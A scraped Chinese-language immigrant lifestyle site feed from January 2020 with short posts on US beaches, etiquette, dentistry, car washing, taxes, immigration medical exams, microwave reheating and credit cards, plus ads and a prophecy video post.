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自1991年以来，每年佛罗里达国际大学海滨研究科学家兼教授史蒂芬·莱瑟曼都会以“海滩博士”的名义选出年度美国最美的十大海滩。

史蒂芬使用50个评估标准分别为海滩评分，其中最重要的衡量标准就是海滩附近水域的清洁度、这片海滩的环境安全、相关部门对海滩的管理措施以及基础设施的配备。

夏威夷群岛中第三大岛欧胡岛（Oahu）的凯卢阿海滩（Kailua Beach），因其白皙柔软的沙子和清澈的海水，荣获2019年美国最美的海滩的称号。

获得年度海滩排名第二的是北卡罗莱纳州的奥克拉科克救生海滩（Ocracoke Lifeguarded Beach）。
第三名的是佛罗里达州的格雷顿海滩（Grayton Beach）。

纽约州的库柏斯海滩获得第四名。这个海滩位于纽约长岛的南安普敦（Southampton），在热闹的纽约周围能有一处如此安静的容身之处，夏天一定要去体验下。

夏威夷欧胡岛上的另一个海滩，杜克卡哈那莫库海滩（Duke Kahanamoku Beach）获得了第五名。
在这片海滩上屹立着杜克·卡哈那莫库雕像（Duke Kahanamoku Statue），这座雕像是为纪念夏威夷伟大的“现代冲浪运动之父”——杜克·卡哈那莫库诞辰100周年，于1990年修建的。

马萨诸塞州科德角的海岸警卫队海滩（Coast Guard Beach）赢得了第六名，
佛罗里达州凯勒黛西岛国家公园（Caladesi Island State Park）的海滩获得第七名，这片海滩的背面就是一片绿洲。

2020-01-13 / by happy1 / in 交通/旅游, 律师/移民/金融, 生活/美食/家居, 移民生活

中国式习惯，让美国人摸不着头脑！

很多人都知道，一些中国人想都不用想，就能算出来的简单数学，但是老外这只能靠计算机才能算出答案，一旦计算机出现故障，收银员就会紧张得手心出汗，如临大敌。而一些在中餐馆或华人店面流行的“中式找零法”更是让老外十分不理解。

话说在英国街头有这么一间小卖店，专卖热气腾腾的中国式包子。这家店其中一名收银员是一名中国女留学生。在收钱的时候，这位留学生时不时就用上“中式找零法”，让老外一面懵然。

举个例子，一个老外顾客来店里买了6英镑的包子，递给收银员一张10英镑。收银员问：“你有一块钱吗？”老外当然就懵然了，“我明明只买了6英镑的东西，给你10英镑，你应该给我找零才对，干嘛还要再问我拿1英镑？难道我是买了11英镑的东西，而不是6英镑？”

这时候中国留学生就会解释，“如果你多给我一英镑，我可以直接找回你一张5英镑啊。”但老外还是不明白，“但你为何不直接给我找回4英镑呢？干嘛要找5英镑给我？
其实这种“中式找零法 ”除了让英国人“丈二和尚摸不着头脑”外，很多美国人也同样想不明白。

不如说，有人买了20.06美元的东西，给了收银员一张面值20美元的纸币，一个面值10美分的硬币，再给一个面值1美分的硬币。这个时候，收银员往往露出非常疑惑的表情，好像在说：“你给我20元＋10美分就对了，干嘛还要再给我一分钱？”　这种情况下，有的收银员就会疑惑的在收银机里输入20.11，发现收银机显示找零0.05，这时才似乎明白点什么。

有几次遇到的收银员，干脆直接还他1美分硬币，还好心告诉他说，“你给我20.10就够了，你多给了一分钱”这时顾客就告诉这位收银员，给1美分，是希望能找回一个五美分的硬币，而不是4个1美分的硬币，这样钱包就无需装太多沉甸甸的硬币了;虽然这么解释了，但那些收银员还是会一副似懂非懂的样子。

2020-01-13 / by happy1 / in 律师/移民/金融, 移民生活

在美国千万别造假，否则后果不堪设想！

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美国是一个诚信社会，一个人的信用，是从小到老伴随一生的，信用可以理解为一种无形资产。如果你的信用好，生活中许多方面都占有优势，像贷款，保险，工作等，政策都会给你优惠。信用就像是一个个人资料记录，把你在生活中一切所作所为用数字换算出来，得出一个综合的值。好的信用是慢慢积累起来的，但也可能因为犯了一个错误，就让你几十年积累的信用都毁于一旦。

信用体现在教育中，就是学生对自己学习成绩的诚实。众所周知，美国人考试成绩是多元化的。升学考试不仅仅看知识考试，更看平时的学习成绩、社会活动的参与度和丰富度、老师同学的评价等等。而且这些升学的申请资料，都被默认为是真实可信的。假如其中有任何作假被发现，该人的信用都会被质疑，这可能会影响到今后几年、几十年的生活。所以说作假被发现的后果很严重。

假如一个学生申请大学本科，成绩不好但不能作假，然后他花钱请人作假写了很厉害的推荐信，大学招生委员看到这个学生成绩虽然不好，但推荐信里面写他其他方面很优秀，于是他被录取了。他靠弄虚作假上了好大学，进了好专业，而且没人发现，表面上是皆大欢喜。但如果有朝一日被人举报了，或者被调查出来了，那后果难以想象。首先这个学生会被大学开除，而且别的大学也不会再收他，并且那个写假推荐信的人的信用也毁为一旦，他的工作、房子、家庭都要受到很大影响。而且这些伤害是持久的，诚信记录在个人信息里要跟一辈子。所以说，这个惩罚力度实在太大了，大到没有人愿意拿自己的未来做造假的代价。

同样的情况发生在中国，即使事件暴露了，当事人也只是受到一时的影响，事情过去一段时间，大家就都淡忘了。联想到毒奶粉、地沟油等危害人民生命健康的事件层出不穷，但并没有办法抑制此类事情的发生。

2020-01-13 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

自助洗车攻略：在美国学会这招你就成DIY达人

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在美国生活少不了汽车，随着汽车使用日子的增长，车内外难免会留下各种污渍。如果车脏了开上路，在有些州还可能会受到重罚的，今天教大家如何自己动手洗车，简单省钱。

清洗车身
洗车工具，我们需要准备塑料桶，毛巾，海绵抹布，玻璃清洁剂，刷子
准备两个桶，一个桶装清水，另一个桶加入专门的汽车清洗剂兑水，这里注意千万不要用洗洁精和手工肥皂，因为它们会破坏汽车表面的蜡！洗车时，先用水管冲洗汽车表面的脏东西，控制好水压，如果太大的话也会冲刷到表面的蜡，注意要从上到下冲洗，冲洗下方时水管是斜着向上：当然，如果家里有power washer 高压水枪的话，洗车的效果会比普通水龙头更好。

在之后再用清洗剂中泡过的毛巾，用回旋的手法旋转擦车。然后，在清水里清洗完毛巾，再擦一遍，瞬间就会干干净净了。之后再拿刷子蘸点清洗剂，刷刷轮胎，把洗车黏土（clay bar）分成3-4块，擦拭车身为打蜡做准备。这里要注意手法，不要画圈，而是上下擦拭的打。

清洁汽车内饰
汽车内饰是清理中最困难的部分，日积月累的灰尘、积满污垢的座椅，如何快速清理干净这些污垢呢？首先使用手持吸尘器对内饰灰尘进行第一遍处理，然后用透明胶带粘走顽固灰尘。如果还有部分难以处理的顽固灰尘？可以用3M Scotch 加强打包用透明胶带，这款胶带平时用来打包快递用，价格虽然不便宜，但非常结实，黏度也很高。清理内饰就用到它黏度高还不留胶的特性。使用方法也很简单，把胶带轻轻黏在有顽固灰尘的地方，一撕，灰尘就和胶带黏在一起了。

内饰里面任何塑料或软质表面可以使用内饰精洗剂。还可以买内饰清洁除味剂清洁座椅，这是清洁白色布面座椅最好的方法。清洁内饰看起来来也很简单！擦皮表面和布表面方法类似，只是需要不同的清洁剂

2020-01-13 / by happy1 / in 汽车, 汽车/房产/保险

美国看牙流程│中国和美国的牙医有什么不同？

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在美国生活的小伙伴会发现中国牙医和美国牙医有几大不同之处，今天就为大家盘点一番。
1看中国牙医可直接上医院很方便。在美国，看牙医不能直接跑去诊所，必须提前电话预约。（这一点很死板，碰上牙疼你就惨了）

2在美国第一次看牙医时，先要填表回答近七十个问题。（主要是了解病人健康情况、病史、家庭成员病史等等）
在中国看牙，医生没这么啰嗦。（在中国，如果先回答70个问题再看牙，早被病人扔鸡蛋、骂惨了）

3中国牙医喜欢靠目测发现牙齿问题，不会要求你每年照一次X光检查牙齿。
美国牙医一定首先做X光的，还会要求你每年做一次X光检查。（这点美国牙医更细致）

4美国牙医补牙都会给病人打麻药，不能让病人感到任何疼痛。还有尽量不给拔牙。希望为病人保住每一颗牙。
中国很多牙医喜欢劝你拔牙。

7中国不论补牙拔牙时，都要先交费。有的地方可能是后交费
美国牙医是全部做完后再要你交费，不怕你赖帐。

8中国看牙收费不算高，但美国看牙收费不低。一般来说，单纯的检查一次都要70美元左右，X光打折后70到100元。
如果补牙时需要杀神经，那就更贵了，一颗牙杀神经要八百美元左右。

9美国牙医会让你明白保健牙齿预防为主。劝你每六个月回来洗牙，每年回来照一次X光，早发现问题早解决。
中国牙医大多数不会花这番口舌的。

在美国生活的多数人都认为，在美国看牙的确很贵，华人圈甚至有这样的说法：“就算买一张机票回国看牙，机票加看牙费用，也比在美国看牙花费便宜。当然，这是那种花的起时间的人才可以，而且回去一趟各种消费算起来也是不少的。还有些人投机取巧利用美国福利，先买上牙齿保险，等把一口牙都修理好了以后，再取消这个保险。

New York Dental Solutions 紐約綜合牙科

纽约牙科New York Dental.studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

2020-01-13 / by happy1 / in 医疗健康, 口腔科/眼科/耳科

美国自驾游攻略：这些交通标志你懂吗？

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在美国开车，最基本的要记住，禁制标示 (红色或白底黑字)，警告标示 (黄色)，道路施工标示 (橘色)，引导与休闲标示 (绿色/蓝色)。

下面为大家详细介绍下，美国常见的交通标志中的强制性标志强制性标志是对驾驶者、行人及骑单车者发出的指示。强制性标志通通被归类于交通守则中的“R系列”当中。

R1系列：停车及让路
R2系列：速度限制
R3系列：车道的使用及转弯
R4系列：行车方向指示
R5系列：禁制性标志
R6系列：单程路及分隔车道
R7系列：泊车
R8系列：泊车及紧急情况下的限制
R9系列：单车及行人
R10系列：交通灯号

2020-01-13 / by happy1 / in 律师/移民/金融, 汽车, 汽车/房产/保险, 移民生活

在美国生活，你必须注意的事！

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在美国生活，有些行为在中国人眼中没什么大不了，但在美国人眼中却是非常不礼貌的，今天就和大家说说到底哪些行为华人要注意。

1、头发不整洁
美国人喜欢头发干净、整洁、利落。头发如果看起来油油的、乱乱的，再拿梳子当众梳头，会让美国人很不舒服。如果有面试等重要场合，最好早晨洗个澡，把头发弄的干净一些。

2、随意使用中指
不要用中指来指东西。有些人在餐馆点菜时，用中指指菜单，或是在讨论问题时指白板或者草稿纸，这一点要注意。

中指这种手势在美国文化里，带有人身攻击的含意，是一种禁语手势，也具有挑衅意味。所以请不要随意竖起中指，这会被美国人认为是既不礼貌而且带有攻击性的行为。

3、同一件衣服连穿两天
在美国，不要连续两三天穿同一件T恤。这会被美国人视作邋遢。
很多美国人平时穿衣服都是一条牛仔裤、一件T恤，或运动服，看似很随便，但这种随便只是体现在日常生活中，他们/她们不太讲究衣服款式，而是注重舒适度。但假如你同一件T恤连续穿两、三天，会被美国人视作邋遢。在美国的这种礼貌文化中，如果你穿得太邋遢，会让对方觉得你不尊重他。
另外，每天最好穿不同样的衣服，因为不仅是在美国，在日本韩国的文化认知中，不换衣服就意味夜不归宿。

4、跟人说话脸上没笑容
刚来美国的华人都会比较惊奇美国人经常跟擦肩而过的陌生人打招呼，跟超市服务员这种陌生人说话的时候也笑呵呵的，而中国人则明显不爱笑。其实，在美国文化中，对人微笑是一种习惯，也是一种礼貌的表现。脸上多带笑容不仅有利于心情，更有利于沟通，甚至有利于安全。

2020-01-13 / by davidhorgan479 / in 律师/移民/金融, 移民生活

2020最权威的預言？看完信不信由你！（下集）

2020年預言（上集）鏈接：https://youtu.be/BYZ-mwK5J3w 那在這集（下集）內容，我們會談到火星男孩對2020年的預言。當中，他也提到了中國的使命，這也和上集美國女預言家，珍妮狄克遜說的相吻合了。另外，我們也談到了一個生活在另一個星球的外星人說的預言。他就叫巴夏

。巴夏是第五緯度外星人，來自一個叫愛莎莎尼的星球。他是通過美國的這位傳訊者—達瑞爾‧安卡(Darryl Anka)來向地球人傳達訊息，而且他用這樣的方式傳達30多年了。很多歐美人都非常相信他。在2019年6月份，他又向我們地球人傳達訊息了，而且也預言了“2020年的變化”。巴夏說得挺多的，所以我就把一些重點整理了讓大家參考一下。

其實，很多中外歷史預言都有在描述此時和將要發生的這種大災難，也都埋下了一個如何避免災難的重要伏筆，而在大災難中被懲罰和淘汰的只是那些不相信的人和惡人。那2020年到底會發生什麽事呢，再有一年就知道啦！

2020-01-09 / by happy1 / in 其它

2020最权威预言？看完信不信由你！

有许多预言家在过去就预言了2020这一年将会发生的事情。在这个视频里，我们会谈到3位人物，他们都各自在不同的时间点、不同的地点，预言了2020年的情况。

2020-01-09 / by happy1 / in 其它

休斯顿私立大学北美大学（电话：832-230-5016）

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北美大學（NAU, North American University）坐落於全美第四大城市—休斯頓，屬小型高等學府，教學品質精良，潛力無限。學校對學生個體關懷備至，教程細致入微，課外社交活動豐富多彩。這裡吸引了來自全美乃至世界各地的優秀學子，充分展現學生群體的多樣化。師資優秀，涵蓋多領域專家學者。該大學以學生為本，致力於為每一位求學者提供最佳學習環境，以及不斷成長的空間。

相較其他大型綜合性大學，北美大學有其獨到之處。教員側重於激發每一位學生的靈感和創造力，因材施教，讓他們在各自的學科上有所造就，實施“門戶開放”政策，確保師生互動暢通無阻。

北美大學獲國家認證，設本科和碩士學位課程，在校或遠程學習均可。本科學位包括計算機、工商管理、教育研究、刑事司法學等等。碩士學位包括工商管理、計算機、教育諮詢、教育監督和指導、教育學等等。該校學費合理，為國際學生提供I-20（F1），OPT/CPT服務。本科生可申請具競爭力的獎學金，且實習和找工作均有就業輔導。

北美大學校址位置極佳，地處休斯頓市區以南，距離富裕的中產階級小城糖城（Sugar Land）僅幾英裏之遙。學生在此可享受良好的學習環境，及安全舒適的校園生活。大學坐落綠茵圍繞中高級校區合併宿舍的綜合性雄偉大樓，整棟大樓中央空調，一樓備有餐廳，校區戶外有美麗的湖景及廣大的綠油草皮，和一般大學校區很不一般。

休斯頓地區匯集世界一流的醫學中心，美國國家航空航天局NASA，高檔博物館和藝術街區，以及極富盛名的牛仔節。工作和創業機會俯首皆是，文化生活多姿多彩。校方鼓勵學生積極參加實習或義工活動，透過與社區團體互動，深入體驗美國文化及價值觀。大休斯頓地區少數族裔涵蓋72個國家和地區，為學生提供不可多得的好機會，開闊視野，提升全球文化素養。

北美大學生源來自全球各地，包括美國本土，因此該校提供非常獨到的求學體驗。國際學生和美國本地學生之間的互動和文化交流令彼此受益，站在世界性的平臺之上，打開更多機遇的大門。

一位韓國留學生表示，北美大學帶給他夢寐以求想得的知識。美國的教育方式和在韓國很不一樣，雖然他的英文程度沒有向本地生那麼好，但是課程活潑有趣，循序漸進。在老師們耐心地在不斷鼓勵的教育方法下，他在班上也取得優異的成績。他的目標是把大學讀完，繼續上碩士課程，完成他的美國夢。

值得一提的是北美大學還有附屬的ESL課程——海灣語言學校（Gulf LanguageSchool），提供每週2至5天英語課程、晚上ESL課程和托福輔導。課程安排靈活，均經過CEA認證，美國本土及國際學生均可申請，在語言班畢業生可直接升入北美大學。

一位從台灣來的父母帶著就讀高中的孩子來申請入學。他們剛剛移民來美，一切都很令人興奮，唯獨在語言上比較吃力。一家三口中，爸爸要工作，孩子進入高中可以立即接觸美國教育，而才40多歲的媽媽在家有些無聊。他們很多朋友介紹說這個海灣語言學校很好，很多朋友和他們的孩子都從其他學校轉到這裡。所以媽媽今年計劃在這裡學語言，想趕快進入美國生活。明年孩子從高中畢業，也要申請來北美大學就讀本科學位。無論是國際學生、本科生都可以來申請就讀，學校提供具有競爭力的獎學金。

學校地址：11929 W. Airport Blvd., Houston, TX 77477。學校招生電話：832-230-5016，5555或713-815-1784，或請電郵ekemer@na.edu詢問詳情。學校網站：www.na.edu.

2020-01-09 / by happy1 / in 留学/教育/求职, 美国留学

喝茶喝出佳境才是养生益身

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2020-01-09 / by happy1 / in 其它

冬天养生这样做，天气再冷也不怕！

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2020-01-09 / by happy1 / in 医疗健康

在美国报税遇到麻烦怎么办？

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联合报税，是一个拥有近二十年的个人和公司税务服务经验的会计公司，为此2012年被美国最大的连锁税务公司看中，为了更好的服务客人，提高专业水平，联合报税决定加入H&R BLOCK, 成为12000家 H&R BLOCK连锁公司中的仅有的几家华人公司之一。

联合报税负责人SARAH JIA本人是硕士研究生毕业，持有联邦税务局注册代理许可近十五年，有着丰富的税务会计知识，以及财务分析经验，为无数客户提供过专业耐心的服务，享有极好的口碑。

联合报税对从业人员的专业要求非常严格，公司有一套完善的专业教育体系，员工除了全部都是本科或硕士研究生会计专业背景外，上岗前还要完成税务局及本公司要求的再教育学分，以提高专业能力，更新知识结构以适应不断变化的客户市场的需要。员工如果不能通过考核，就不能进入公司系统，为客人报税服务。

联合报税除了能够给与客户专业的会计服务，还提供许多华人不熟悉的主流服务项目，也是一般华人会计公司无法做到的，让客户安心报税的配套服务：

1. 安心报税保险（Peace of Mind）,客户只需付我们很少的服费，三年内如收到政府查税的信，总公司会给与最多$6000 的补偿。
2. 安心银行卡（Emerald Card）, 客户如果没有账户，或忘记账号，或急着外出旅游，我们可提供银行卡，方便客户收取退税，并可提供信用卡服务。
3. 快速退税（Refund Advance）, 如果客户急需用钱，我们可以提供快速退税服务，我们会在四十八小时内，将退税先退给客人，以解燃眉之急。
4. 部分客人可以享受先报税，后交我们服务费的服务，等退税回来后再付我们费用。
5. 帮助客人网上审核税单服务

联合报税的主要服务项目如下，并不限于此：
1. 个人家庭及公司报税
2. 海外资产申报
3. 投资移民及L1税务申报
4. 地产股票类投资申报
5. 税务财务报告分析
6. 帮助解决政府查税
7. 成立解散公司，专精非盈利公司
8. 各类公司商业执照申请
9. 辅助公司保险审计
联合报税服务于全美五十个州，收取华人大众的价格，提供美国主流的服务标准！

2020-01-09 / by happy1 / in 律师/移民/金融, 理财/报税

绿卡申请攻略│ 移民体检检查哪些疾病？

哪些疾病影响移民美国？6QA看懂移民体检移民体检，美国移民体检，疾病预防接种，结核病测试传染病，健康记录体检表，健康记录作假，美国移民局移民体检

移民体检是移民美国必须经过的一道程序。根据美国移民法，要申请绿卡，必须通过移民体检，而且做移民体检的医生必须是移民局批准认证的医生，移民局才会承认体检结果。移民体检都要检查哪些内容？哪些类型的疾病会影响移民申请？
今天就为大家介绍下，由纽约家庭医生郭晓军解答的几个关于就移民体检常见问题。

移民体检检查哪些疾病？
郭晓军：移民体检的主要目的是从公共健康角度，筛查不符合移民条件的申请人。体检内容包括“疾病”和“预防接种”两个部分。

疾病包括对公共健康有危害的传染病，比如说结核病、梅毒、淋病、麻风病、可能造成伤害的生理或精神行为疾病，以及毒品滥用或成瘾。
预防接种是根据不同年龄段，检查是否已经接受过所需的疫苗。

2020-01-09 / by happy1 / in 律师/移民/金融, 疫苗, 移民生活, 美国新闻

生活达人必学的三招│去异味有办法

生活小窍门，生活小贴士，消除油烟妙招，吃完烧烤怎么除衣服油烟味，酒精去除衣服异味

热呼呼的火锅、烧烤，吃了总让人感觉暖胃又十分过瘾，还能驱除寒意，只是毛衣沾上的味道，有什么好方式可以清除吗？其实这种味道不用特别清洗，只要几个小方法，就可以轻松去味除臭哦！

当然也不只火锅、烧烤，甚至唱歌，或是其它公众场合，混杂其中的油烟、烟酒味不只会沾上头发和毛衣，甚至怎样做都无法把味道去除，紧紧跟着我们。加上毛衣下水还会担心缩水起毛球，不洗的话，又怕沾染上的味道长时间散不去，真是令人感到非常苦恼。

毛衣异味怎么清除？

秋冬毛衣、针织衫是御寒必备的服装，但穿着去吃火锅、烧烤甚至唱歌，出来以后，总是会让人感到残留在衣物上的浓郁味道迟迟无法散去，令人皱眉。而且毛衣与针织衫属于毛料性质，若没做好清洁，不只沾在衣物上的味道去不掉，还有可能缩水起毛球，缩短衣服的寿命！

因此，想要替毛衣去味可以不用放到水中清洗，只要用苏打粉和酒精，就能把毛衣上的恼人气味一扫而尽！

2020-01-09 / by happy1 / in 其它

坐飞机如何应对紧急情况？

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在刚过去的繁忙感恩节旅行高峰期间，由于暴风雪肆虐，航空公司取消了美国东北和中西部的数百个航班。当局估计有6500个航班误点、800航班取消，导致许多旅客受困机场。圣诞节即将来临，空中交通又迎来了繁忙的出行高峰期。如果在遇到航班因天气原因延误或取消的情况，到底哪些事情能做哪些事情不能做呢。

1. 可做：查询航班最新消息
在天气状况恶化时，请一定要多注意你预订航班的航空公司网站、移动应用程序或Facebook和Twitter账户，实时跟踪航班信息。尤其是如果这次旅行不可错过，或者延误、取消将会使你陷入困境的话更要注意。航空公司通常在强风暴发生之前会发出旅行咨询、警报，让旅客可以更换航班，以避开混乱天气。好处是乘客不需要支付任何更改费用或票价差额，有些幸运的乘客甚至可以获得比预定更好的航班。

2. 不可做：没检查航班状态和航空公司通知就前往机场
除非航班是最后一刻延迟或取消的情况，否则乘客一般不可能得不到通知。航空公司会通过电子邮件、短信、他们的移动应用程序，有时甚至是电话，来提醒旅客有关航班问题的信息。如你的航班被取消，某些航空公司会自动为你预订下一个适合的航班。所以预订机票时提供联系信息很重要。

3. 可做：检查航空公司自助服务选项重新预订
在客户服务柜台或登机口预订中心排队，并不是预订新航班的唯一方法。许多航空公司都允许乘客在他们的网站和移动应用程序上重新预订机票。所以下载航空公司的移动应用程序很实用，而且航空公司一直在为应用程序添加更多功能，这些信息在机场可起到重要作用。

2020-01-09 / by happy1 / in 其它

微波炉这样使用，东西不怕吃剩！

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在吃完假期大餐后，家中是不是也多了许多剩菜呢？如果想要节省时间，微波炉是重新加热菜肴最好的工具。确实，在问世后半个多世纪的今天，微波炉已走入了家家户户，并大大改变了人们的烹调方式。如今，我们大量运用微波炉来烹煮、解冻食物，甚至也有专门提供给微波炉的厨具。

然而，在用微波炉加热剩菜时，须留意一些要点才能让食物更美味，并降低食物中毒的风险。以下，是重新加热食品时的注意事项。

披萨
家人或朋友在聚会时一起享用大披萨是很愉快的时光。剩余的披萨冰在冰箱中，想吃的时候重新加热，又能快速地解决一餐。
披萨其实最适合用平底锅加热，但如果你没有时间，想用微波炉加热也是可以的。请在盘子上垫上一层餐巾纸，餐巾纸可以吸收披萨加热时产生的油脂和湿气，让加热后的披萨吃起来不会又软又湿。从冰箱拿出来的披萨，大约加热1分钟左右即可。

汤
在又湿又冷的天气里，来一碗热汤是最让人舒服的。你可以趁著有空时煮一锅浓汤，下班后如果不想出门，就可以简单用面包配着浓汤当晚餐。
用微波炉加热汤品非常方便，一碗汤大约需要加热3分钟左右，建议每次加热60秒，就用汤匙搅拌一下，以免加热不均匀。
蔬菜
美国农业部表示，煮过的蔬菜在冷藏下可以放3到4天，冷冻可以放3到4个月。重新加热蔬菜时，时间和温度必须足够，可以用食物温度计测试，温度必须达到165°F才可以。

因为蔬菜通常水分含量很高，所以用微波炉直接烹调蔬菜，这也是一个好主意。
一项发表在《食品科学杂志》上的研究，用不同方式烹煮了20种不同的蔬菜后，发现微波和烘烤最能完整保留蔬菜中的营养。不过，在微波时请记得使用玻璃、陶瓷或者其他适合微波的容器。另外，像是葡萄和生红萝卜，应避免使用微波炉加热，因为这两种食材在微波炉中容易引发火花。

意大利面
用微波炉加热意大利面时，为了确保面条不会太硬，可以先在面上，淋一汤匙的橄榄油或植物油，高功率下约加热30秒，低功率下则加热1分钟左右。
储存意大利面时，可以将面与酱汁分开存放，加热时也分开加热。如果你要加热的意大利面已覆盖酱汁，那就要记得盖上盖子，以免加热时，酱汁喷出弄脏了微波炉。

蛋
重新把蛋加热十分简单，确保其温度够热，约到165°F即可。有趣的是，你也可以试着用微波炉煮蛋，这种做法非常方便，取一个可以加热的容器，将蛋打入，并加上你喜欢的调味料，例如胡椒、意大利香料、大蒜粉或洋葱粉，最后加一点盐，简单加热后就是一道美味的蛋料理。
另外，要特别注意的是，微波炉不能加热包着蛋壳的鸡蛋，像是生鸡蛋或者是茶叶蛋。这是因为蛋壳中的含水量较少，而蛋白和蛋黄的含水量较多，微波炉加热产生蒸气之后，鸡蛋容易爆炸。

肉类
美国农业部表示，不论是什么肉类，如果是已煮熟，放在冰箱内冷藏可保存3～4天。重新加热时，必须加热到内部温度为165°F。
由于微波炉是局部加热，会有所谓的“冷点”。因此重新加热时，需要帮食物翻面，并且要多量几个位置，确定核心温度够高。加热完毕以后，要静置三分钟，让高温杀死可能造成食物中毒的病原菌。此外，微波完的肉类，要在2小时内享用完毕。

白饭
用微波炉加热白饭也容易有干硬的问题，要记得先在饭中加1汤匙的水，再用沾湿的纸巾或盖子盖住碗，避免水分流失。第一次加热可以先设定1分30秒，如果不够热，再分次加热，每次加热30秒。

烘焙食品与面包
甜点或面包出炉当天，当然是最新鲜好吃的。但有时候我们短时间没办法吃完，就会需要重新加热。需要加热的蛋糕，依照大小，加热时间也不同，建议可以用40秒分次加热。而且面包微波前要记得喷水，加热后必须尽快食用，不然很快会变得干硬。

2020-01-09 / by happy1 / in 其它

【生活攻略】洗洁精最佳使用方法

洗碗液加水稀释，洗手液加水稀释，沐浴露加水稀释，洗碗液加水稀释的危害，洗手液加水稀释危害，沐浴露加水稀释细菌滋生，健康生活常识

许多人都有在洗碗精、洗手液或沐浴乳里加水稀释使用的经历，这样做正确吗？
你可能遇到过下面两个情况：

情况一：洗碗精、洗手液或沐浴乳太浓了，一开封就加自来水稀释使用，浓度刚好，而且一瓶变成两瓶，比较省钱。
情况二：洗碗精、洗手液或沐浴乳快用完了，倒不出来，直接丢弃又浪费。倒入自来水稀释，彻底用完。

同样都是加水稀释，但“情况一”是错误作法，“情况二”则正确，但有注意事项。
洗碗精、沐浴乳的正确加水稀释方法
京砚联合诊所皮肤科院长蔡逸姗在脸书撰文指出，自来水并非完全无菌，加到洗碗精（或洗手液、沐浴乳）瓶子里，可能增加细菌或其它微生物的量。

不仅如此，若向整瓶产品中大量加水，还会让产品本身添加的防腐剂浓度被稀释，使防腐效果下降，微生物大量滋生，造成产品容易腐坏变质。
曾有患者询问，如果觉得清洁产品太浓，能不能倒入另一个小瓶中，再稀释使用。蔡逸姗认为这种作法可以，但强调要倒出一次使用的份量，并当次用完，以免滋生细菌。

如果产品快用完了，瓶底剩一点点，这时就可以直接加水到瓶中稀释，把剩余的产品彻底用完。蔡逸姗建议，最好使用煮过的开水，放冷后倒入瓶中稀释，并在3天内用完。

这些生活中常用的清洁品几乎都含有“界面活性剂”，有些民众误以为这种成分能抑制细菌生长。蔡院长解释，界面活性剂并没有抑菌的功能，防腐剂才有。界面活性剂是让两个不同性质、原本不相容的接触面，变成不再排斥而靠近。因此产品里面有界面活性剂，不代表微生物无法生长。

填装补充包的小危机
现在市面上贩卖许多清洁产品的补充包，如沐浴乳、洗发精、洗手液等等，让购买的民众可以重复使用瓶罐，只需填入新的液体。但这过程中，也容易衍生滋生细菌的问题。

如果原有的瓶罐内部是潮湿状态或有残留产品，都不宜直接倒入补充包。
蔡院长表示，如果还有剩余的产品，最好先使用完再倒入补充包。因为剩余的有效期限一定比新倒入的短。
瓶内若是潮湿状态，比如有自来水在里面，“建议先风干再装”。她解释，这跟制作果酱装瓶很类似，装果酱的玻璃瓶都要用热水煮过消毒，等水汽散掉再装果酱，如果瓶内有水分，果酱很容易腐败。但居家清洁用品大部分是塑胶瓶，不能直接用热水煮沸，因此可倒入煮过的水，稍微摇晃清洁后再晾干，或是喷消毒酒精。确保瓶内干净、干燥，再倒入新产品。

2020-01-09 / by happy1 / in 其它

新移民注意了，在美生活这些事你必须知道！

美国生活，美国生活问题，美国小费怎么给，美国开车按喇叭可以吗，美国狩猎，美国捕鱼违法，美国携带购买枪支规定

美国作为世界大国，来美国旅游或在美国生活，总是要懂得一些小细节，否则会在美国寸步难行

独特的小费文化
美国与其他发达国家不同，无论你在生活中做什么样的行动，都要给为你服务的人小费，给你拿行李箱的司机，为你点餐的服务员，哪怕只是去银行存取钱，也要准备一美元来打赏给你开门的保安，美国的小费文化，十分深入人心，比如在美国用餐的小费为10％，15％或20％，最低要求为10％，公平要求为15％，良好服务为20％。当然这不是必须的，但是如果你在美国用餐每次都不给小费，会让人认为你很抠门。

行车中不要随意鸣喇叭
在美国驾车行驶中，如果遇到前方车辆行驶缓慢也不要鸣笛，这是美国人最厌烦的一点，美国交通法十分注重路权法，每个人行车都有权利行驶快慢，如果行车中随意鸣笛，很有可能会被误认为侵权行为，说不定遇到暴脾气，有可能会吃场官司。

千万不要和警察玩小聪明
当你在美国遭遇交通警察的时候，无论你是在干什么，都要把你的放在方向盘上，哪怕你在比赛，如果交通警察在道路上召唤你，你千万不要试图逃跑，无论是交通警察和社区警员，都不要试图逃避警察的盘查，如果你在别的国家也许你会侥幸逃脱，但是如果在美国，有可能会被警察枪击。因为在美国警察的执法权力非常大。

不要在公众场合拿着任何枪支
美国虽然是枪支合法的国家，但不代表可以随便拿着枪在大街上游荡，否则会被随时击毙或者逮捕，在911事件之后，美国对社会反恐的力度逐渐增大，哪怕你拥有枪支合法的持有证书，也不要随便在公众场合漏出枪支，曾经美国就传出14岁少年拿玩具枪被美国警察击毙的事件。

请勿在没有许可证的情况下狩猎或钓鱼
在美国，很多地方都是私人领地，去到郊外，私人庄园和农场非常多，在别人领地随便打猎，如果被主人击毙，领地主也完全不必负法律责任，哪怕是在政府公共用地，在没有任何许可的情况下，也不要贸然去打猎或者钓鱼，因为美国人少地多，面积九百多万平方公里，但是人口只有3.2亿，野外有很多野生动物，一不小心就会打到保护动物，很容易牢底坐穿。

2020-01-09 / by happy1 / in 二手车, 交通/旅游, 到美必看, 律师/移民/金融, 汽车/房产/保险, 生活/美食/家居, 移民生活, 美国新闻

2020美国信用卡最全攻略

美国移民信用卡，记账卡（Charge Card）与信用卡，商业信用卡类型，商业信用卡年利率，

信用卡年费有何不同，商业信用卡功能，信用卡返现，信用卡积分，信用卡里程，信用卡介绍

很多华裔移民在美国开设小企业，如果想要简化开支，可以考虑申请商业信用卡，因其可以带来很多好处。使用商业信用卡的最大优势是，可以将公司的支出与个人的支出分开，这样不仅对报税有利，而且可以避免个人信用评级受公司的影响。此外，雇主可以为雇员开设“员工卡”，便于管理公司采购和还款。市面上的商业信用卡提供的返现、积分及里程等奖励优惠五花八门，要如何选择一张最有利及最能满足需求的信用卡，以下关键细节要注意。

1. 了解商业信用卡的运作方式
申请商业信用卡之前，应先熟悉它们的运作原理。
个人责任：在大多数情况下，申请商业信用卡的雇主（企业所有者）应对有关这张卡的账户上所有发生的费用（包括员工购买）承担个人责任。

商业信用卡较不受到法律保护：商业信用卡不受有关信用卡法律的保护，因此切记要按时缴款。
